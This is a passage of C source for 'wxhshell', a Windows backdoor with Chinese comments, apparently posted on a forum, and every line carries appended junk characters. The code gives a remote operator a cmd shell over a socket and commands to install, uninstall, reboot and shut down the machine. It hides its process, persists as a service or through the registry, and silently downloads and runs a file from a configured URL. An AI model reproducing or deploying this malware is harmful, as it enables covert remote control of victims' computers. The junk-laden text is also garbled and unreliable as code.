  else { jOuz-1x,&  
}R.<\  
    switch(cmd[0]) { _1D'9!+   
  &|t*9 D  
  // 帮助 9~8UG (  
  case '?': { ?S9!;x<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); P I gbeP  
    break; Ra\>^W6z  
  } jl# )CEx  
  // 安装 O2[uN@nY  
  case 'i': { DL&\iR  
    if(Install()) *KF-q?PBb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /IDfGAE  
    else XWQp-H.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); joa|5v'  
    break; : b^\O  
    } ]YF[W`2h  
  // 卸载 aBX^Wd  
  case 'r': { Y<X,(\iEHP  
    if(Uninstall()) y}NBJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bAIo5lr  
    else +" 4E:9P?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GT|=Kx$;  
    break; f_}FYeg  
    } =Z ^=  
  // 显示 wxhshell 所在路径 QO;W}c:N  
  case 'p': { V\nQHzjF<6  
    char svExeFile[MAX_PATH]; -3 }  
    strcpy(svExeFile,"\n\r"); +we3BE.  
      strcat(svExeFile,ExeFile); p9*#{~   
        send(wsh,svExeFile,strlen(svExeFile),0); k(>hboR5n  
    break; !b<c*J?f  
    } \M4/?<g  
  // 重启 psb$rbu7[  
  case 'b': { cnh\K.*}_x  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]V!q"|  
    if(Boot(REBOOT)) 5;=,BWU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?(Dk{-:T'  
    else { PqMU&H_  
    closesocket(wsh); ADoxma@  
    ExitThread(0); oi4tj.!J  
    } *c}MI e'&  
    break; qp>V\h\  
    } ]$)J/L(p/]  
  // 关机 y:Ycn+X.  
  case 'd': { o g.LD7&/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Fwn4c4-%  
    if(Boot(SHUTDOWN)) 0m?v@K' l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vw7NLTE}`  
    else { nKn,i$sO/.  
    closesocket(wsh); '+tU8Pb  
    ExitThread(0); ndRy&[f7  
    } ]<D9Q>  
    break; }5#<`8  
    } MW%EJT>@z  
  // 获取shell ;Wjb}_V:_  
  case 's': { YKbR#DC\  
    CmdShell(wsh); ;5 W|#{I  
    closesocket(wsh); 1=C>S2q  
    ExitThread(0); d, j"8\@  
    break; \& 6  
  } Lx&2)  
  // 退出 \N1 G5W  
  case 'x': { (Sc]dH  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6yZfV7I  
    CloseIt(wsh); Cg NfqT0  
    break; B42.;4"T  
    } !$ikH,Bh  
  // 离开 NNC@?A7  
  case 'q': { PE1F3u>O  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); hz8Y2Ew  
    closesocket(wsh); >/;V_(  
    WSACleanup(); N_TWT&o4  
    exit(1); 9kj71Jp&}  
    break; 4}sfJ0HhX  
        } wkm;yCF+  
  } SEm3T4dfzf  
  } ,ZyTYD|7  
<F!On5=W*  
  // 提示信息 aNgaV$|2a  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kDuN3  
} il=y m  
  } F0 WM&{v  
|]`\ak  
  return; oGpyuB@A/  
} wJA`e)>  
DZGM4|@<7Y  
// shell模块句柄 X-Y:)UT  
int CmdShell(SOCKET sock) !K;\{/8  
{ +5(#~  
STARTUPINFO si; (C/2shr 8  
ZeroMemory(&si,sizeof(si)); ^]}UyrOn  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fw@n[u{~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @ ]u nqCO  
PROCESS_INFORMATION ProcessInfo; c%Y%c2([  
char cmdline[]="cmd"; Ij>IL!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); b`N0lH.V  
  return 0; >pjmVl w?  
} >x0"gh  
1au1DvH  
// 自身启动模式 "\bbe@  
int StartFromService(void) *"#62U6  
{ FCxLL"))  
typedef struct 9:N@+;|T  
{ HgJ:Rf]  
  DWORD ExitStatus; +VSJve |  
  DWORD PebBaseAddress; \v bU| a  
  DWORD AffinityMask; *9((X,v@/  
  DWORD BasePriority; ej dYh $  
  ULONG UniqueProcessId;  }6SfI;  
  ULONG InheritedFromUniqueProcessId; f Co-ony  
}   PROCESS_BASIC_INFORMATION; Ht,_<zP;  
w=>~pYASH  
PROCNTQSIP NtQueryInformationProcess; )`?Es8uW  
47s<xQy  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <oG+=h  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q6'3-@%  
NqcmjHvy  
  HANDLE             hProcess; 7(B|NYq  
  PROCESS_BASIC_INFORMATION pbi; MJS4^*B\1  
p$^}g:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); VR/7CI4=  
  if(NULL == hInst ) return 0; +grIw# j  
FHWzwi*u}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); T4n.C~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); NBzyP)2)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1SoKnfz{6  
cRBdIDIc  
  if (!NtQueryInformationProcess) return 0; ]O2ku^yM  
)3g7dtq}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ZGrjb22M  
  if(!hProcess) return 0; ?r"][<  
sr%tEKba)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =)}m4,LA  
'j>+eA>  
  CloseHandle(hProcess); BH _y0[y  
pE(\q+1<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^b=]=w  
if(hProcess==NULL) return 0; 9B &QY 2v  
0MDdcjqw  
HMODULE hMod; K r $R"  
char procName[255]; )%'Lm  
unsigned long cbNeeded; ~ qe9U 0  
wW s<{ T  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Zp~2WJQ  
Erz{{kf]1V  
  CloseHandle(hProcess); {B$cd?}  
gAt[kW< n  
if(strstr(procName,"services")) return 1; // 以服务启动 /MHqt=jP6  
csZIBi  
  return 0; // 注册表启动 j.O7-t%C  
} T;D`=p#  
$P#Cf&R  
// 主模块 Wlm%W>%  
int StartWxhshell(LPSTR lpCmdLine) k{ >rI2;  
{ QA_SS'*  
  SOCKET wsl; v#u]cmI  
BOOL val=TRUE; vaQZ1a,  
  int port=0; HPVW2Y0_N  
  struct sockaddr_in door; o3*IfD  
.sNUU 3xSC  
  if(wscfg.ws_autoins) Install(); *xB9~:  
~I<yN`5(a  
port=atoi(lpCmdLine); ]Cd 1&  
/VB n  
if(port<=0) port=wscfg.ws_port; yU"lW{H@  
weCRhA  
  WSADATA data; (,$ H!qKy  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; DueQ1+ P  
2Wz/s 0`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Hm2}xnY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 41 sClC"  
  door.sin_family = AF_INET; ~J1;Z0}#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  e;8>/G  
  door.sin_port = htons(port); ;EstUs3  
;} ),6R  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z M"J5}h  
closesocket(wsl); z#*M}RR  
return 1; >xu}eWSz  
} QW :-q(s  
^L}fj$  
  if(listen(wsl,2) == INVALID_SOCKET) { O)C y4[  
closesocket(wsl); -.ITcD g  
return 1; b%>vhj&F  
} >Ya+#j~CZ  
  Wxhshell(wsl); hU=n>g>nx  
  WSACleanup(); /C"dwh"``  
?CGbnXZ4Ug  
return 0; F XJI,(:-  
Ys,}L.  
} v{4K$o  
xXQ#?::m  
// 以NT服务方式启动 Q: ?]:i/*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \M^L'Mkj  
{ {`fhcEC  
DWORD   status = 0; 1GB$;0 W),  
  DWORD   specificError = 0xfffffff; krwY_$q  
=1 g  
  serviceStatus.dwServiceType     = SERVICE_WIN32; q:Gi Qk-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^44AE5TO  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =KJK'1m9  
  serviceStatus.dwWin32ExitCode     = 0; w^N xR,  
  serviceStatus.dwServiceSpecificExitCode = 0; q%8%J'Fro  
  serviceStatus.dwCheckPoint       = 0; TTcMIMyLT  
  serviceStatus.dwWaitHint       = 0; zt{?Nt b  
_U)BOE0o  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); K~**. NF-n  
  if (hServiceStatusHandle==0) return; D*3\4=6x  
j48cI3C  
status = GetLastError(); N}x \Ll  
  if (status!=NO_ERROR) }8cL+JJU  
{ m@o/W  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; TNBFb_F  
    serviceStatus.dwCheckPoint       = 0; j3|Ek  
    serviceStatus.dwWaitHint       = 0; "o&_tB;O  
    serviceStatus.dwWin32ExitCode     = status; xsS/)R?  
    serviceStatus.dwServiceSpecificExitCode = specificError; *njdqr2c~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); cl4`FU  
    return; QCkPua9  
  } p]=a:kd4J  
[/ uqH  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; tWL3F?wd  
  serviceStatus.dwCheckPoint       = 0; \/,54c2  
  serviceStatus.dwWaitHint       = 0; Q" BIk =  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8 PI>Q  
} kQ4-W9u  
j|3p.Cy  
// 处理NT服务事件,比如:启动、停止 TS+itU62  
VOID WINAPI NTServiceHandler(DWORD fdwControl) z7'3d7r?  
{ y BF3Lms  
switch(fdwControl) s,>_kxuX  
{ JSX-iHhW  
case SERVICE_CONTROL_STOP: t4)~A5s  
  serviceStatus.dwWin32ExitCode = 0; '6i"pJ0%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; pk2OZ,14Mj  
  serviceStatus.dwCheckPoint   = 0; @8X)hpHf  
  serviceStatus.dwWaitHint     = 0; ^t4T8ejn  
  { I]N?}]uZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $ ;cZq  
  } xVHZZ?e  
  return; u 0KVp6`  
case SERVICE_CONTROL_PAUSE: s.z(1MB]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; '&@'V5}C{  
  break; {J3;4p-&  
case SERVICE_CONTROL_CONTINUE: GkqKIs  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9:zW$Gt&  
  break; |x*~PXb  
case SERVICE_CONTROL_INTERROGATE: ` MIZqHM @  
  break; .G#wXsJj  
}; A&_H%]{<:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AcV 2l  
} 'Ba Ba=  
$/</J]2`;  
// 标准应用程序主函数 FbB^$ ]*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) h-u63b1"?  
{  m~"<k d  
?)<DEu:Y  
// 获取操作系统版本 ^(7<L<H  
OsIsNt=GetOsVer(); !4zSE,1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Dz$GPA   
U{(B)dFTH  
  // 从命令行安装 $%9.qy\8  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6$-Ex  
t-_~jZ<  
  // 下载执行文件 0~{jgN~  
if(wscfg.ws_downexe) { "IbXKS>t  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qP? V{N  
  WinExec(wscfg.ws_filenam,SW_HIDE); @{16j# 'R  
} 9xL8 ];-  
M3- bFIt  
if(!OsIsNt) { F|\^O[#R  
// 如果时win9x,隐藏进程并且设置为注册表启动 x*GGO)r  
HideProc(); nxH+XHv  
StartWxhshell(lpCmdLine); KS%LXc('  
} 3>FeTf#:  
else QiBo]`)%  
  if(StartFromService()) n$B SO  
  // 以服务方式启动 ';"W0  
  StartServiceCtrlDispatcher(DispatchTable); %D|p7&  
else  ,r\  
  // 普通方式启动 O ;,BzA-n  
  StartWxhshell(lpCmdLine); :%ms6j/B&V  
Sx{vZS3  
return 0; J8Bz|.@Q  
}
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只看该作者 1 发表于: 2006-10-10
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